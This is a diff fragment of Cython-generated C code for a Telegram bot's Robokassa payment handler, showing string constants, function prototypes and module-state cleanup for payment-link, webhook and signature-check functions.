"check_payment_signature"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_Error_processing_webhook[] = "Error processing webhook: "; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_Payment_link_sent_to_user[] = "Payment link sent to user "; +static const char __pyx_k_choosing_amount_robokassa[] = "choosing_amount_robokassa"; +static const char __pyx_k_handle_custom_amount_input[] = "handle_custom_amount_input"; +static const char __pyx_k_Processing_payment_for_user[] = "Processing payment for user "; +static const char __pyx_k_initiated_Robokassa_payment[] = " initiated Robokassa payment."; +static const char __pyx_k_enter_custom_amount_robokassa[] = "enter_custom_amount_robokassa"; +static const char __pyx_k_chose_to_enter_a_custom_amount[] = " chose to enter a custom amount."; +static const char __pyx_k_process_callback_pay_robokassa[] = "process_callback_pay_robokassa"; +static const char __pyx_k_Created_new_connection_for_user[] = "Created new connection for user "; +static const char __pyx_k_Generated_payment_link_for_user[] = "Generated payment link for user "; +static const char __pyx_k_Signature_string_before_hashing[] = "Signature string before hashing: "; +static const char __pyx_k_handlers_payments_robokassa_pay[] = "handlers.payments.robokassa_pay"; +static const char __pyx_k_process_custom_amount_selection[] = "process_custom_amount_selection"; +static const char __pyx_k_Displayed_amount_selection_for_u[] = "Displayed amount selection for user "; +static const char __pyx_k_Generating_payment_link_for_amou[] = "Generating payment link for amount: "; +static const char __pyx_k_Payment_successful_Balance_updat[] = "Payment successful. Balance updated for user "; +static const char __pyx_k_Robokassa_initialized_with_login[] = "Robokassa initialized with login: {}"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_robokassa"; +static const char __pyx_k_handlers_payments_robokassa_pay_2[] = "handlers/payments/robokassa_pay.py"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_generate_payment_link(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_amount, PyObject *__pyx_v_inv_id, PyObject *__pyx_v_description, PyObject *__pyx_v_tg_id); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_2process_callback_pay_robokassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_5process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_8robokassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_11check_payment_signature(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_params); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_13process_custom_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_16handle_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa; + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook; + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection; + PyObject *__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa; + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input; + PyObject *__pyx_kp_u_; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_kp_u_Created_new_connection_for_user; + PyObject *__pyx_kp_u_Displayed_amount_selection_for_u; + PyObject *__pyx_kp_u_Error_processing_webhook; + PyObject *__pyx_kp_u_Expected_signature; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_kp_u_Generated_payment_link; + PyObject *__pyx_kp_u_Generated_payment_link_for_user; + PyObject *__pyx_kp_u_Generating_payment_link_for_amou; + PyObject *__pyx_n_s_HashAlgorithm; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_u_InvId; + PyObject *__pyx_kp_u_InvId_2; + PyObject *__pyx_n_u_OK; + PyObject *__pyx_n_u_OutSum; + PyObject *__pyx_kp_u_OutSum_2; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_kp_u_Payment_URL_for_user; + PyObject *__pyx_kp_u_Payment_link_sent_to_user; + PyObject *__pyx_kp_u_Payment_successful_Balance_updat; + PyObject *__pyx_kp_u_Processing_payment_for_user; + PyObject *__pyx_n_s_ROBOKASSA_ENABLE; + PyObject *__pyx_n_s_ROBOKASSA_LOGIN; + PyObject *__pyx_n_s_ROBOKASSA_PASSWORD1; + PyObject *__pyx_n_s_ROBOKASSA_PASSWORD2; + PyObject *__pyx_n_s_ROBOKASSA_TEST_MODE; + PyObject *__pyx_kp_u_Received_signature; + PyObject *__pyx_kp_u_Received_webhook_params; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Robokassa; + PyObject *__pyx_kp_u_Robokassa_initialized_with_login; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_u_SignatureValue; + PyObject *__pyx_kp_u_SignatureValue_2; + PyObject *__pyx_kp_u_Signature_string_before_hashing; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_kp_u_User; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_n_u__17; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__19; + PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__22; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_kp_u__25; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_kp_u__29; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__30; + PyObject *__pyx_n_s__31; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_n_s__42; + PyObject *__pyx_kp_u__5; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_kp_u__9; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_algorithm; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_u_amount; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_kp_u_callback_data_2; + PyObject *__pyx_kp_u_callback_data_3; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_check_payment_signature; + PyObject *__pyx_n_s_choosing_amount_robokassa; + PyObject *__pyx_kp_u_chose_to_enter_a_custom_amount; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_clear; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_confirm_keyboard; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_description; + PyObject *__pyx_kp_u_description_2; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_robokassa; + PyObject *__pyx_kp_u_entered_custom_amount; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_signature; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_generate_by_script; + PyObject *__pyx_n_s_generate_payment_link; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handle_custom_amount_input; + PyObject *__pyx_n_s_handlers_payments_robokassa_pay; + PyObject *__pyx_kp_s_handlers_payments_robokassa_pay_2; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_n_s_hashlib; + PyObject *__pyx_n_s_hexdigest; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_info; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_kp_u_initiated_Robokassa_payment; + PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_inv_id; + PyObject *__pyx_kp_u_inv_id_2; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_is_test; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_s_link; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_md5; + PyObject *__pyx_n_s_merchant_login; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_out_sum; + PyObject *__pyx_n_s_params; + PyObject *__pyx_n_s_password1; + PyObject *__pyx_n_s_password2; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_robokassa; + PyObject *__pyx_n_s_payment; + PyObject *__pyx_n_s_payment_link; + PyObject *__pyx_n_s_payment_url; + PyObject *__pyx_n_s_post; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_robokassa; + PyObject *__pyx_n_s_process_custom_amount_selection; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_s_robokassa; + PyObject *__pyx_n_u_robokassa; + PyObject *__pyx_kp_u_robokassa_amount; + PyObject *__pyx_n_s_robokassa_webhook; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_kp_u_selected_amount; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_n_s_shp_id; + PyObject *__pyx_n_u_shp_id; + PyObject *__pyx_kp_u_shp_id_2; + PyObject *__pyx_kp_u_shp_id_3; + PyObject *__pyx_n_s_signature_string; + PyObject *__pyx_n_s_signature_value; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_s_upper; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_web; + PyObject *__pyx_kp_u_with_amount; + PyObject *__pyx_kp_u_with_balance_0_0; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_400; + PyObject *__pyx_int_500; + PyObject *__pyx_tuple__11; + PyObject *__pyx_tuple__27; + PyObject *__pyx_tuple__32; + PyObject *__pyx_tuple__34; + PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__36; + PyObject *__pyx_tuple__37; + PyObject *__pyx_tuple__38; + PyObject *__pyx_tuple__40; + PyObject *__pyx_tuple__41; + PyObject *__pyx_codeobj__2; + PyObject *__pyx_codeobj__7; + PyObject *__pyx_codeobj__20; + PyObject *__pyx_codeobj__24; + PyObject *__pyx_codeobj__28; + PyObject *__pyx_codeobj__33; + PyObject *__pyx_codeobj__39; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_kp_u_); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_kp_u_Created_new_connection_for_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_Displayed_amount_selection_for_u); + Py_CLEAR(clear_module_state->__pyx_kp_u_Error_processing_webhook); + Py_CLEAR(clear_module_state->__pyx_kp_u_Expected_signature); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_kp_u_Generated_payment_link); + Py_CLEAR(clear_module_state->__pyx_kp_u_Generated_payment_link_for_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_Generating_payment_link_for_amou); + Py_CLEAR(clear_module_state->__pyx_n_s_HashAlgorithm); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_u_InvId); + Py_CLEAR(clear_module_state->__pyx_kp_u_InvId_2); + Py_CLEAR(clear_module_state->__pyx_n_u_OK); + Py_CLEAR(clear_module_state->__pyx_n_u_OutSum); + Py_CLEAR(clear_module_state->__pyx_kp_u_OutSum_2); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_URL_for_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_link_sent_to_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_successful_Balance_updat); + Py_CLEAR(clear_module_state->__pyx_kp_u_Processing_payment_for_user); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_ENABLE); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_LOGIN); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_PASSWORD1); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_PASSWORD2); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_TEST_MODE); + Py_CLEAR(clear_module_state->__pyx_kp_u_Received_signature); + Py_CLEAR(clear_module_state->__pyx_kp_u_Received_webhook_params); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Robokassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_Robokassa_initialized_with_login); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_u_SignatureValue); + Py_CLEAR(clear_module_state->__pyx_kp_u_SignatureValue_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_Signature_string_before_hashing); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_kp_u_User); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_n_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__22); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_kp_u__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__30); + Py_CLEAR(clear_module_state->__pyx_n_s__31); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_n_s__42); + Py_CLEAR(clear_module_state->__pyx_kp_u__5); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_kp_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_algorithm); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_kp_u_callback_data_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_callback_data_3); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_check_payment_signature); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_robokassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_chose_to_enter_a_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_clear); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_description); + Py_CLEAR(clear_module_state->__pyx_kp_u_description_2); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_robokassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_entered_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_signature); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_generate_by_script); + Py_CLEAR(clear_module_state->__pyx_n_s_generate_payment_link); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handle_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_robokassa_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_robokassa_pay_2); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_n_s_hashlib); + Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_info); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_kp_u_initiated_Robokassa_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_inv_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_inv_id_2); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_is_test); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_link); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_md5); + Py_CLEAR(clear_module_state->__pyx_n_s_merchant_login); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_out_sum); + Py_CLEAR(clear_module_state->__pyx_n_s_params); + Py_CLEAR(clear_module_state->__pyx_n_s_password1); + Py_CLEAR(clear_module_state->__pyx_n_s_password2); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_robokassa); + Py_CLEAR(clear_module_state->__pyx_n_s_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_link); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_url); + Py_CLEAR(clear_module_state->__pyx_n_s_post); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_robokassa); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_s_robokassa); + Py_CLEAR(clear_module_state->__pyx_n_u_robokassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_robokassa_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_robokassa_webhook); + 